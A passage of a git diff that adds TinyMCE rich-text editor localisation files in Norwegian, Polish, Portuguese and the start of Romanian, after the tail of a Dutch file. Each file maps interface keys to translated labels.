invoegen"},save:{"save_desc":"Opslaan","cancel_desc":"Alle wijzigingen annuleren"},nonbreaking:{"nonbreaking_desc":"Open ruimte invoegen"},iespell:{download:"ieSpell niet gevonden. Wilt u deze nu installeren?","iespell_desc":"Spellingcontrole"},advhr:{"advhr_desc":"Scheidingslijn","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Emoties","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Zoeken/Vervangen","search_desc":"Zoeken","delta_width":"","delta_height":""},advimage:{"image_desc":"Afbeelding invoegen/bewerken","delta_width":"","delta_height":""},advlink:{"link_desc":"Link invoegen/bewerken","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Attributen invoegen/bewerken","ins_desc":"Ingevoegd","del_desc":"Verwijderd","acronym_desc":"Synoniem","abbr_desc":"Afkorting","cite_desc":"Citaat","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"CSS Stijl bewerken","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Plakken is nu in plattetekstmodus. Klik nog een keer om terug te gaan naar normaal plakken.","plaintext_mode_sticky":"Plakken is nu in plattetekstmodus. Klik nog een keer om terug te gaan naar normaal plakken. Nadat u iets plakt, keert u terug naar normaal plakken.","selectall_desc":"Alles selecteren","paste_word_desc":"Vanuit Word plakken","paste_text_desc":"Als platte tekst plakken"},"paste_dlg":{"word_title":"Gebruik Ctrl+V om tekst in het venster te plakken.","text_linebreaks":"Regelafbreking bewaren","text_title":"Gebruik Ctrl+V om tekst in het venster te plakken."},table:{cell:"Cel",col:"Kolom",row:"Rij",del:"Tabel verwijderen","copy_row_desc":"Rij kopi\u00ebren","cut_row_desc":"Rij knippen","paste_row_after_desc":"Rij onder plakken","paste_row_before_desc":"Rij boven plakken","props_desc":"Tabeleigenschappen","cell_desc":"Cel-eigenschappen","row_desc":"Rij-eigenschappen","merge_cells_desc":"Cellen samenvoegen","split_cells_desc":"Cellen splitsen","delete_col_desc":"Kolom verwijderen","col_after_desc":"Kolom rechts invoegen","col_before_desc":"Kolom links invoegen","delete_row_desc":"Rij verwijderen","row_after_desc":"Rij onder invoegen","row_before_desc":"Rij boven invoegen",desc:"Tabel invoegen/bewerken","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Als u de opgeslagen inhoud laadt, verliest u de inhoud die zich momenteel in de editor bevindt.\n\nWeet u zeker dat u de opgeslagen inhoud wilt laden?","restore_content":"Automatisch opgeslagen inhoud laden.","unload_msg":"De wijzigingen zullen verloren gaan als u nu deze pagina verlaat."},fullscreen:{desc:"Volledig scherm"},media:{edit:"Media bewerken",desc:"Media invoegen/bewerken","delta_height":"","delta_width":""},fullpage:{desc:"Documenteigenschappen","delta_width":"","delta_height":""},template:{desc:"Voorgedefinieerd sjabloon invoegen"},visualchars:{desc:"Zichtbare symbolen"},spellchecker:{desc:"Spellingcontrole",menu:"Instellingen spellingcontrole","ignore_word":"Woord negeren","ignore_words":"Alles negeren",langs:"Talen",wait:"Een ogenblik geduld\u2026",sug:"Suggesties","no_sug":"Geen suggesties","no_mpell":"Geen spelfouten gevonden.","learn_word":"Woord toevoegen aan spellingscontrole"},pagebreak:{desc:"Pagina-einde invoegen"},advlist:{types:"Types",def:"Standaard","lower_alpha":"Alfa (klein)","lower_greek":"Griekse letters (klein)","lower_roman":"Romeinse letters (klein)","upper_alpha":"Alfa (groot)","upper_roman":"Romeinse letters (groot)",circle:"Cirkel",disc:"Schijf",square:"Vierkant"},colors:{"333300":"Donkerolijf","993300":"Gebrand oranje","000000":"Zwart","003300":"Donkergroen","003366":"Donkerazuur","000080":"Marineblauw","333399":"Indigo","333333":"Heel donkergrijs","800000":"Kastanjebruin",FF6600:"Oranje","808000":"Olijf","008000":"Groen","008080":"Teal","0000FF":"Blauw","666699":"Grijsblauw","808080":"Grijs",FF0000:"Rood",FF9900:"Amber","99CC00":"Geelgroen","339966":"Zeegroen","33CCCC":"Turkoois","3366FF":"Koningsblauw","800080":"Paars","999999":"Middengrijs",FF00FF:"Magenta",FFCC00:"Goud",FFFF00:"Geel","00FF00":"Limoen","00FFFF":"Aqua","00CCFF":"Hemelsblauw","993366":"Bruin",C0C0C0:"Zilver",FF99CC:"Roze",FFCC99:"Perzik",FFFF99:"Lichtgeel",CCFFCC:"Bleekgroen",CCFFFF:"Bleekcyaan","99CCFF":"Licht hemelsblauw",CC99FF:"Pruim",FFFFFF:"Wit"},aria:{"rich_text_area":"Tekst met opmaak"},wordcount:{words:"Aantal woorden:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/no.js b/js/tiny_mce/langs/no.js new file mode 100755 index 0000000..4a76e5c --- /dev/null +++ b/js/tiny_mce/langs/no.js @@ -0,0 +1 @@ +tinyMCE.addI18n({no:{common:{"more_colors":"Flere farger","invalid_data":"Feil: Ugyldig verdi er skrevet inn, disse er merket med r\u00f8dt","popup_blocked":"Beklager, men vi har registrert at din popup-sperrer har blokkert et vindu i nettleseren. Du m\u00e5 oppheve popup-sperren for at nettstedet skal f\u00e5 tilgang til dette verkt\u00f8yet","clipboard_no_support":"For tiden ikke st\u00f8ttet av din nettleser, bruk tastatursnarveier i stedet.","clipboard_msg":"Klipp ut / Kopier /Lim inn fungerer ikke i Mozilla og Firefox. Vil du vite mer om dette?","not_set":"--Ikke satt--","class_name":"Klasse",browse:"Bla gjennom",close:"Lukk",cancel:"Avbryt",update:"Oppdater",insert:"Sett inn",apply:"Bruk","edit_confirm":"Vil du bruke WYSIWYG-editoren for dette tekstfeltet?","invalid_data_number":"{#field} m\u00e5 v\u00e6re nummer","invalid_data_min":"{#field} m\u00e5 v\u00e6re et nummber st\u00f8rre en {#min}","invalid_data_size":"{#field} m\u00e5 v\u00e6re et nummer eller prosent av",value:"(verdi)"},contextmenu:{full:"Full",right:"H\u00f8yre",center:"Midtstilt",left:"Venstre",align:"Justering"},insertdatetime:{"day_short":"S\u00f8n,Man,Tir,Ons,Tor,Fre,L\u00f8r,S\u00f8n","day_long":"s\u00f8ndag,mandag,tirsdag,onsdag,torsdag,fredag,l\u00f8rdag,s\u00f8ndag","months_short":"jan,feb,mar,apr,mai,jun,jul,aug,sep,okt,nov,des","months_long":"januar,februar,mars,april,mai,juni,juli,august,september,oktober,november,desember","inserttime_desc":"Sett inn tid","insertdate_desc":"Sett inn dato","time_fmt":"%H:%M:%S","date_fmt":"%d-%m-%Y"},print:{"print_desc":"Skriv ut"},preview:{"preview_desc":"Forh\u00e5ndsvisning"},directionality:{"rtl_desc":"Retning h\u00f8yre mot venstre","ltr_desc":"Retning venstre mot h\u00f8yre"},layer:{content:"Nytt lag ...","absolute_desc":"Sl\u00e5 p\u00e5/av absolutt plassering","backward_desc":"Flytt bakover","forward_desc":"Flytt fremover","insertlayer_desc":"Sett inn nytt lag"},save:{"save_desc":"Lagre","cancel_desc":"Kanseller alle endringer"},nonbreaking:{"nonbreaking_desc":"Sett inn karakter for hardt mellomrom"},iespell:{download:"ieSpell ikke funnet. \u00d8nsker du \u00e5 installere ieSpell?","iespell_desc":"Stavekontroll"},advhr:{"advhr_desc":"Horisontal linje","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Hum\u00f8rfjes","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"S\u00f8k/Erstatt","search_desc":"S\u00f8k","delta_width":"","delta_height":""},advimage:{"image_desc":"Sett inn/editer bilde","delta_width":"","delta_height":""},advlink:{"link_desc":"Sett inn/editer lenke","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Sett inn/Editer egenskaper","ins_desc":"Innsetting","del_desc":"Sletting","acronym_desc":"Akronym","abbr_desc":"Forkortelse","cite_desc":"Sitat","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Rediger CSS-stil","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Lim inn er n\u00e5 i vanlig tekst modus. Klikk igjen for \u00e5 bytte til vanlig innlimings modus.","plaintext_mode_sticky":"Lim inn er n\u00e5 i vanlig tekst modus. Klikk igjen for \u00e5 bytte til vanlig innlimings modus. Etter at du limer inn noe vil du g\u00e5 tilbake til ordin\u00e6r innliming.","selectall_desc":"Merk alt","paste_word_desc":"Lim inn fra Word","paste_text_desc":"Lim inn som ren tekst"},"paste_dlg":{"word_title":"Bruk CTRL+V p\u00e5 tastaturet for \u00e5 lime inn teksten i dette vinduet.","text_linebreaks":"Behold tekstbryting","text_title":"Bruk CTRL+V p\u00e5 tastaturet for \u00e5 lime inn teksten i dette vinduet."},table:{cell:"Celle",col:"Kolonne",row:"Rad",del:"Slett tabell","copy_row_desc":"Kopier rad","cut_row_desc":"Slett rad","paste_row_after_desc":"Lime inn rad etter","paste_row_before_desc":"Lime inn rad foran","props_desc":"Tabell egenskaper","cell_desc":"Celle egenskaper","row_desc":"Rad egenskaper","merge_cells_desc":"Sl\u00e5 sammen celler","split_cells_desc":"Splitte sammensl\u00e5tte celler","delete_col_desc":"Slett kolonne","col_after_desc":"Sett inn kolonne etter","col_before_desc":"Sett inn kolonne forand","delete_row_desc":"Slett rad","row_after_desc":"Sett inn rad etter","row_before_desc":"Sett inn rad foran",desc:"Setter inn ny tabell","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Hvis du gjenoppretter tidligere lagret innhold s\u00e5 vil du miste alt n\u00e5v\u00e6rende innhold i editoren.\n\nEr du sikker du vil gjenopprette tidligere lagret innhold?.","restore_content":"Gjenopprette autolagret innhold.","unload_msg":"Utf\u00f8rte endringer g\u00e5r tapt hvis du navigerer vekk fra denne siden!"},fullscreen:{desc:"Sl\u00e5 fullskjermmodus av/p\u00e5"},media:{edit:"Editer innebygget objekt",desc:"Sett inn/editer innebygget objekt","delta_height":"","delta_width":""},fullpage:{desc:"Dokument egenskaper","delta_width":"","delta_height":""},template:{desc:"Sett inn forh\u00e5ndsdefinert malinnhold"},visualchars:{desc:"Visuelle konktrolltegn p\u00e5/av"},spellchecker:{desc:"Stavekontroll p\u00e5/av",menu:"Oppsett stavekontroll","ignore_word":"Ignorer ord","ignore_words":"Ignorer alt",langs:"Spr\u00e5k",wait:"Vennligst vent ...",sug:"Forslag","no_sug":"Ingen forslag","no_mpell":"Ingen stavefeil funnet.","learn_word":"L\u00e6r ordet"},pagebreak:{desc:"Sett inn sideskift"},advlist:{types:"Types",def:"Standard","lower_alpha":"Sm\u00e5 alfanumerisk","lower_greek":"Sm\u00e5 gresk","lower_roman":"Sm\u00e5 roman","upper_alpha":"Store alfanumerisk","upper_roman":"Store roman",circle:"Sirkel",disc:"Plate",square:"Firkant"},colors:{"333300":"M\u00f8rk olivengr\u00f8nn","993300":"Brent oransje","000000":"Svart","003300":"M\u00f8rkegr\u00f8nn","003366":"M\u00f8rk asurbl\u00e5","000080":"Marinebl\u00e5","333399":"Indigobl\u00e5","333333":"M\u00f8rk m\u00f8rkegr\u00e5","800000":"R\u00f8dbrun",FF6600:"Oransje","808000":"Olivengr\u00f8nn","008000":"Gr\u00f8nn","008080":"M\u00f8rk gr\u00f8nnbl\u00e5","0000FF":"Bl\u00e5","666699":"Gr\u00e5bl\u00e5","808080":"Gr\u00e5",FF0000:"R\u00f8d",FF9900:"Amber","99CC00":"Gulgr\u00f8nn","339966":"Havgr\u00f8nn","33CCCC":"Turkis","3366FF":"Kongebl\u00e5","800080":"Purpur","999999":"Medium gr\u00e5",FF00FF:"Magentar\u00f8d",FFCC00:"Gull",FFFF00:"Gul","00FF00":"Limegr\u00f8nn","00FFFF":"Cyanbl\u00e5","00CCFF":"Himmelbl\u00e5","993366":"Brun",C0C0C0:"S\u00f8lv",FF99CC:"Rosa",FFCC99:"Fersken",FFFF99:"Lysgul",CCFFCC:"Lysegr\u00f8nn",CCFFFF:"Lys cyanbl\u00e5","99CCFF":"Lys himmelbl\u00e5",CC99FF:"Plomme",FFFFFF:"Hvit"},aria:{"rich_text_area":"Rikt tekstfelt"},wordcount:{words:"Ord:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/pl.js b/js/tiny_mce/langs/pl.js new file mode 100755 index 0000000..475b45d --- /dev/null +++ b/js/tiny_mce/langs/pl.js @@ -0,0 +1 @@ +tinyMCE.addI18n({pl:{common:{"more_colors":"Wi\u0119cej kolor\u00f3w","invalid_data":"B\u0142\u0105d: Zosta\u0142y wprowadzone b\u0142\u0119dne dane, s\u0105 zaznaczone na czerwono.","popup_blocked":"Zauwa\u017cyli\u015bmy, \u017ce opcja blokowania wyskakuj\u0105cych okienek wy\u0142\u0105czy\u0142a okno, kt\u00f3re dostarcza funkcjonalno\u015b\u0107 aplikacji. Aby w pe\u0142ni wykorzysta\u0107 to narz\u0119dzie musisz wy\u0142\u0105czy\u0107 blokowanie wyskakuj\u0105cych okienek na tej stronie.","clipboard_no_support":"Aktualnie nie jest obs\u0142ugiwany przez Twoj\u0105 przegl\u0105dark\u0119, u\u017cyj skr\u00f3t\u00f3w klawiaturowych w zamian.","clipboard_msg":"Akcje Kopiuj/Wytnij/Wklej nie s\u0105 dost\u0119pne w Mozilli i Firefox.\nCzy chcesz wi\u0119cej informacji o tym problemie?","not_set":"-- Brak --","class_name":"Klasa",browse:"Przegl\u0105daj",close:"Zamknij",cancel:"Anuluj",update:"Aktualizuj",insert:"Wstaw",apply:"Zastosuj","edit_confirm":"Czy chcesz u\u017cy\u0107 trybu WYSIWYG dla tego pola formularza?","invalid_data_number":"{#field} musi by\u0107 liczb\u0105","invalid_data_min":"{#field} musi by\u0107 liczb\u0105 wi\u0119ksz\u0105 od {#min}","invalid_data_size":"{#field} musi by\u0107 liczb\u0105 lub warto\u015bci\u0105 procentow\u0105",value:"(warto\u015b\u0107)"},contextmenu:{full:"Wyjustuj",right:"Do prawej",center:"Do \u015brodka",left:"Do lewej",align:"Wyr\u00f3wnanie"},insertdatetime:{"day_short":"N,Pn,Wt,\u015ar,Cz,Pt,So,N","day_long":"Niedziela,Poniedzia\u0142ek,Wtorek,\u015aroda,Czwartek,Pi\u0105tek,Sobota,Niedziela","months_short":"Sty,Lut,Mar,Kwi,Maj,Cze,Lip,Sie,Wrz,Pa\u017a,Lis,Gru","months_long":"Stycze\u0144,Luty,Marzec,Kwiecie\u0144,Maj,Czerwiec,Lipiec,Sierpie\u0144,Wrzesie\u0144,Pa\u017adziernik,Listopad,Grudzie\u0144","inserttime_desc":"Wstaw czas","insertdate_desc":"Wstaw dat\u0119","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"Drukuj"},preview:{"preview_desc":"Podgl\u0105d"},directionality:{"rtl_desc":"Kierunek od prawej do lewej","ltr_desc":"Kierunek od lewej do prawej"},layer:{content:"Nowa warstwa...","absolute_desc":"Prze\u0142\u0105cz pozycjonowanie absolutne","backward_desc":"Przesu\u0144 pod sp\u00f3d","forward_desc":"Przesu\u0144 na wierzch","insertlayer_desc":"Wstaw now\u0105 warstw\u0119"},save:{"save_desc":"Zachowaj","cancel_desc":"Anuluj wszystkie zmiany"},nonbreaking:{"nonbreaking_desc":"Wstaw tward\u0105 spacj\u0119"},iespell:{download:"ieSpell nie wykryte. Czy przeprowadzi\u0107 instalacj\u0119 tego komponentu?","iespell_desc":"Sprawd\u017a pisowni\u0119"},advhr:{"advhr_desc":"Pozioma linia","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Emotikony","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Znajd\u017a/zamie\u0144","search_desc":"Znajd\u017a","delta_width":"","delta_height":""},advimage:{"image_desc":"Wstaw/edytuj obraz","delta_width":"","delta_height":""},advlink:{"link_desc":"Wstaw/edytuj link","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Wstaw / Edytuj atrybuty","ins_desc":"Wstawienie","del_desc":"Usuni\u0119cie","acronym_desc":"Akronim","abbr_desc":"Skr\u00f3t","cite_desc":"Cytat","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Edytuj Style CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Wklejanie jest teraz dost\u0119pne w trybie tekstowym. Kliknij ponownie, aby prze\u0142\u0105czy\u0107 si\u0119 z powrotem do trybu wklejania sformatowanego tekstu.","plaintext_mode_sticky":"Wklejanie jest teraz dost\u0119pne w trybie tekstowym. Kliknij ponownie, aby prze\u0142\u0105czy\u0107 si\u0119 z powrotem do trybu wklejania sformatowanego tekstu. Po wklejeniu tekstu nast\u0105pi powr\u00f3t do trybu wklejania sformatowanego tekstu.","selectall_desc":"Zaznacz wszystko","paste_word_desc":"Wklej z Worda","paste_text_desc":"Wklej jako zwyk\u0142y tekst"},"paste_dlg":{"word_title":"U\u017cyj CTRL+V na swojej klawiaturze \u017ceby wklei\u0107 tekst do okna.","text_linebreaks":"Zachowaj ko\u0144ce linii.","text_title":"U\u017cyj CTRL+V na swojej klawiaturze \u017ceby wklei\u0107 tekst do okna."},table:{cell:"Kom\u00f3rka",col:"Kolumna",row:"Wiersz",del:"Usu\u0144 tabel\u0119","copy_row_desc":"Kopiuj wiersz...","cut_row_desc":"Wytnij wiersz...","paste_row_after_desc":"Wklej wiersz po...","paste_row_before_desc":"Wklej wiersz przed...","props_desc":"W\u0142a\u015bciwo\u015bci tabeli","cell_desc":"W\u0142a\u015bciwo\u015bci kom\u00f3rki","row_desc":"W\u0142a\u015bciwo\u015bci wiersza","merge_cells_desc":"Po\u0142\u0105cz kom\u00f3rki","split_cells_desc":"Podziel po\u0142\u0105czone kom\u00f3rki","delete_col_desc":"Usu\u0144 kolumn\u0119","col_after_desc":"Wstaw kolumn\u0119 po...","col_before_desc":"Wstaw kolumn\u0119 przed...","delete_row_desc":"Usu\u0144 wiersz","row_after_desc":"Wstaw nowy wiersz po...","row_before_desc":"Wstaw nowy wiersz przed...",desc:"Wstaw now\u0105 tabel\u0119","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Je\u015bli przywr\u00f3cisz zapisan\u0105 tre\u015b\u0107, stracisz ca\u0142\u0105 tre\u015b\u0107, kt\u00f3ra teraz si\u0119 znajduje w edytorze.\n\nJeste\u015b pewien, \u017ce chcesz przywr\u00f3ci\u0107 zapisan\u0105 tre\u015b\u0107?","restore_content":"Przywr\u00f3\u0107 tre\u015b\u0107 zapisan\u0105 automatycznie.","unload_msg":"Zmiany, kt\u00f3rych dokona\u0142e\u015b zostan\u0105 utracone je\u015bli opu\u015bcisz t\u0119 stron\u0119."},fullscreen:{desc:"Prze\u0142\u0105cz tryb pe\u0142noekranowy"},media:{"delta_height":"",edit:"Edytuj wbudowane media",desc:"Wstaw/edytuj wbudowane media","delta_width":""},fullpage:{desc:"W\u0142a\u015bciwo\u015bci dokumentu","delta_width":"","delta_height":""},template:{desc:"Wstaw tre\u015b\u0107 szablonu"},visualchars:{desc:"W\u0142\u0105cz/wy\u0142\u0105cz znaki kontrolne."},spellchecker:{desc:"Sprawdzanie pisowni",menu:"Ustawienia sprawdzania pisowni","ignore_word":"Ignoruj s\u0142owo","ignore_words":"Ignoruj wszystkie",langs:"J\u0119zyki",wait:"Prosz\u0119 czeka\u0107...",sug:"Sugestie","no_sug":"Brak sugestii","no_mpell":"Nie znaleziono b\u0142\u0119d\u00f3w.","learn_word":"Dowiedz si\u0119 s\u0142owa"},pagebreak:{desc:"Wstaw znak nowej strony."},advlist:{types:"Rodzaje",def:"Domy\u015blny","lower_alpha":"Ma\u0142e alfabetu","lower_greek":"Ma\u0142e greckie","lower_roman":"Ma\u0142e rzymskie","upper_alpha":"Du\u017ce alfabetu","upper_roman":"Du\u017ce rzymskie",circle:"Ko\u0142o",disc:"Elipsa",square:"Kwadrat"},colors:{"333300":"Ciemnooliwkowy","993300":"Ochra","000000":"Czarny","003300":"Ciemnozielony","003366":"Ciemnolazurowy","000080":"Granatowy","333399":"Indygo","333333":"Bardzo ciemnoszary","800000":"Rdzawy",FF6600:"Pomara\u0144czowy","808000":"Oliwkowy","008000":"Zielony","008080":"Morski","0000FF":"Niebieski","666699":"Siny","808080":"Szary",FF0000:"Czerwony",FF9900:"Bursztynowy","99CC00":"\u017b\u00f3\u0142tozielony","339966":"Akwamaryna","33CCCC":"Turkusowy","3366FF":"B\u0142\u0119kit kr\u00f3lewski","800080":"Purpurowy","999999":"\u015arednioszary",FF00FF:"Fuksja",FFCC00:"Z\u0142oty",FFFF00:"\u017b\u00f3\u0142ty","00FF00":"Limonkowy","00FFFF":"Cyjan","00CCFF":"B\u0142\u0119kitny","993366":"Br\u0105zowy",C0C0C0:"Srebrny",FF99CC:"R\u00f3\u017cowy",FFCC99:"Brzoskwiniowy",FFFF99:"Jasno\u017c\u00f3\u0142ty",CCFFCC:"Bladozielony",CCFFFF:"Bladoturkusowy","99CCFF":"Jasnob\u0142\u0119kitny",CC99FF:"\u015aliwkowy",FFFFFF:"Bia\u0142y"},aria:{"rich_text_area":"Pole tekstowe"},wordcount:{words:"S\u0142owa:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/pt.js b/js/tiny_mce/langs/pt.js new file mode 100755 index 0000000..809f1c2 --- /dev/null +++ b/js/tiny_mce/langs/pt.js @@ -0,0 +1 @@ +tinyMCE.addI18n({pt:{common:{"more_colors":"Mais Cores","invalid_data":"Erro: Valores inv\u00e1lidos marcados em vermelho.","popup_blocked":"Detectamos que o seu bloqueador de popups bloqueou uma janela que \u00e9 essencial para a aplica\u00e7\u00e3o. Voc\u00ea precisa desativar o bloqueador de janelas de popups para utilizar esta ferramenta.","clipboard_no_support":"O seu browser n\u00e3o suporta esta fun\u00e7\u00e3o, use os atalhos do teclado.","clipboard_msg":"Copiar/recortar/colar n\u00e3o est\u00e1 dispon\u00edvel no Mozilla e Firefox. Deseja mais informa\u00e7\u00f5es sobre este problema?","not_set":"-- N/A --","class_name":"Classe",browse:"Procurar",close:"Fechar",cancel:"Cancelar",update:"Atualizar",insert:"Inserir",apply:"Aplicar","edit_confirm":"Deseja usar o modo de edi\u00e7\u00e3o avan\u00e7ado neste campo de texto?","invalid_data_number":"{#field} deve ser um n\u00famero","invalid_data_min":"{#field} deve ser um n\u00famero maior que {#min}","invalid_data_size":"{#field} deve ser um n\u00famero ou uma percentagem",value:"(valor)"},contextmenu:{full:"Justificado",right:"Direita",center:"Centro",left:"Esquerda",align:"Alinhamento"},insertdatetime:{"day_short":"Dom,Seg,Ter,Qua,Qui,Sex,Sab,Dom","day_long":"Domingo,Segunda-feira,Ter\u00e7a-feira,Quarta-feira,Quinta-feira,Sexta-feira,S\u00e1bado,Domingo","months_short":"Jan,Fev,Mar,Abr,Mai,Jun,Jul,Ago,Set,Out,Nov,Dez","months_long":"Janeiro,Fevereiro,Mar\u00e7o,Abril,Maio,Junho,Julho,Agosto,Setembro,Outubro,Novembro,Dezembro","inserttime_desc":"Inserir hora","insertdate_desc":"Inserir data","time_fmt":"%H:%M:%S","date_fmt":"%d-%m-%Y"},print:{"print_desc":"Imprimir"},preview:{"preview_desc":"Pr\u00e9-visualizar"},directionality:{"rtl_desc":"Da direita para esquerda","ltr_desc":"Da esquerda para direita"},layer:{content:"Nova camada...","absolute_desc":"Alternar o posicionamento absoluto","backward_desc":"Mover para tr\u00e1s","forward_desc":"Mover para frente","insertlayer_desc":"Inserir nova camada"},save:{"save_desc":"Salvar","cancel_desc":"Cancelar todas as altera\u00e7\u00f5es"},nonbreaking:{"nonbreaking_desc":"Inserir um espa\u00e7o \"sem quebra\""},iespell:{download:"Plugin de ortografia n\u00e3o-detectado. Deseja instalar agora?","iespell_desc":"Verificar ortografia"},advhr:{"advhr_desc":"Separador horizontal","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Emoticons","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Localizar/substituir","search_desc":"Localizar","delta_width":"","delta_height":""},advimage:{"image_desc":"Inserir/editar imagem","delta_width":"","delta_height":""},advlink:{"delta_width":"50","link_desc":"Inserir/editar hyperlink","delta_height":""},xhtmlxtras:{"attribs_desc":"Inserir/Editar atributos","ins_desc":"Inserir","del_desc":"Apagar","acronym_desc":"Acr\u00f4nimo","abbr_desc":"Abrevia\u00e7\u00e3o","cite_desc":"Cita\u00e7\u00e3o","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Editar CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Comando colar est\u00e1 em modo texto simples. Clique novamente para voltar para o modo normal.","plaintext_mode_sticky":"Comando colar est\u00e1 em modo texto simples. Clique novamente para voltar para o modo normal. Depois de colar alguma coisa retornar\u00e1 para o modo normal.","selectall_desc":"Selecionar tudo","paste_word_desc":"Colar (copiado do WORD)","paste_text_desc":"Colar como texto simples"},"paste_dlg":{"word_title":"Use CTRL+V para colar o texto na janela.","text_linebreaks":"Manter quebras de linha","text_title":"Use CTRL+V para colar o texto na janela."},table:{cell:"C\u00e9lula",col:"Coluna",row:"Linha",del:"Apagar tabela","copy_row_desc":"Copiar linha","cut_row_desc":"Recortar linha","paste_row_after_desc":"Colar linha depois","paste_row_before_desc":"Colar linha antes","props_desc":"Propriedades da tabela","cell_desc":"Propriedades das c\u00e9lulas","row_desc":"Propriedades das linhas","merge_cells_desc":"Unir c\u00e9lulas","split_cells_desc":"Dividir c\u00e9lulas","delete_col_desc":"Remover coluna","col_after_desc":"Inserir coluna depois","col_before_desc":"Inserir coluna antes","delete_row_desc":"Apagar linha","row_after_desc":"Inserir linha depois","row_before_desc":"Inserir linha antes",desc:"Inserir nova tabela","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Se restaurar o conte\u00fado, voc\u00ea ir\u00e1 perder tudo que est\u00e1 atualmente no editor.\n\nTem certeza que quer restaurar o conte\u00fado salvo?","restore_content":"Restaura conte\u00fado salvo automaticamente.","unload_msg":"As mudan\u00e7as efetuadas ser\u00e3o perdidas se sair desta p\u00e1gina."},fullscreen:{desc:"Tela Inteira"},media:{edit:"Editar m\u00eddia embutida",desc:"Inserir/Editar m\u00eddia embutida","delta_height":"","delta_width":""},fullpage:{desc:"Propriedades do Documento","delta_width":"","delta_height":""},template:{desc:"Inserir template"},visualchars:{desc:"Caracteres de controle visual ligado/desligado"},spellchecker:{desc:"Alternar verifica\u00e7\u00e3o ortogr\u00e1fica",menu:"Configura\u00e7\u00f5es de ortografia","ignore_word":"Ignorar palavra","ignore_words":"Ignorar tudo",langs:"Linguagens",wait:"Aguarde...",sug:"Sugest\u00f5es","no_sug":"Sem sugest\u00f5es","no_mpell":"N\u00e3o foram detectados erros de ortografia.","learn_word":"Aprender palavra"},pagebreak:{desc:"Inserir quebra de p\u00e1gina."},advlist:{types:"Tipos",def:"Padr\u00e3o","lower_alpha":"Alfabeto min\u00fasculo","lower_greek":"Alfabeto grego","lower_roman":"Num. romanos min\u00fasculos","upper_alpha":"Alfabeto mai\u00fasculos","upper_roman":"Num. romanos mai\u00fasculos",circle:"C\u00edrculo",disc:"Disco",square:"Quadrado"},colors:{"333300":"Oliva escuro","993300":"Laranja queimado","000000":"Preto","003300":"Verde escuro","003366":"Azul escuro","000080":"Azul marinho","333399":"\u00cdndigo","333333":"Cinza muito escuro","800000":"Marrom 1",FF6600:"Laranja","808000":"Oliva","008000":"Verde","008080":"Verde azulado","0000FF":"Azul","666699":"Azul acinzentado","808080":"Cinza",FF0000:"Vermelho",FF9900:"\u00c2mbar","99CC00":"Amarelo esverdeado","339966":"Verde mar","33CCCC":"Turquesa","3366FF":"Azul real","800080":"Roxo","999999":"Cinza m\u00e9dio",FF00FF:"Magenta",FFCC00:"Ouro",FFFF00:"Amarelo","00FF00":"Lima","00FFFF":"\u00c1gua","00CCFF":"Azul celeste","993366":"Marrom 2",C0C0C0:"Prata",FF99CC:"Rosa",FFCC99:"P\u00eassego",FFFF99:"Amarelo claro",CCFFCC:"Verde p\u00e1lido",CCFFFF:"Ciano p\u00e1lido","99CCFF":"Azul celeste claro",CC99FF:"Ameixa",FFFFFF:"Branco"},aria:{"rich_text_area":"\u00c1rea de texto rico"},wordcount:{words:"Palavras:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/ro.js b/js/tiny_mce/langs/ro.js new file mode 100755 index 0000000..ffa1ebb --- /dev/null +++ b/js/tiny_mce/langs/ro.js @@ -0,0 +1 @@ +tinyMCE.addI18n({ro:{common:{"more_colors":"Mai multe culori","invalid_data":"Eroare: Datele gre\u015fite sunt marcate cu ro\u015fu.","popup_blocked":"Ne pare r\u0103u, dar un popup-blocker a dezactivat o 